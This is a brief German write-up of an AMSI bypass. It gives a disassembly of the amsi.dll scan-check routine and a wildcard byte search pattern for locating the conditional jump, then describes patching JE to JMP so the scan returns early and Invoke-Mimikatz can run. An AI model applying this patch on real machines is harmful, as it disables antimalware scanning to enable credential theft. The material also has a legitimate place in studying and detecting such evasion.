
Lebenslanger AMSI-Bypass
Wir erhalten die genaue Adresse der Sprunganweisung, indem wir nach dem ersten Byte jeder Anweisung suchen. Diese Technik ist auch bei Updates oder Änderungen am Zieldatensatz wirksam.
zum Beispiel:
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
das Suchmuster sieht wie folgt aus:
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

Das Programm testet den Wert von RDX gegen sich selbst. Wenn der Vergleich 0 ergibt, führt das Programm einen Sprung zur Rückkehr aus. Andernfalls fährt das Programm fort, die nächste Anweisung auszuwerten.

Wir können "Invoke-Mimikatz" nicht ausführen.

Wir patchen das erste Byte und ändern es von JE zu JMP, sodass es direkt zurückkehrt.


Jetzt führen wir "Invoke-Mimikatz" aus.
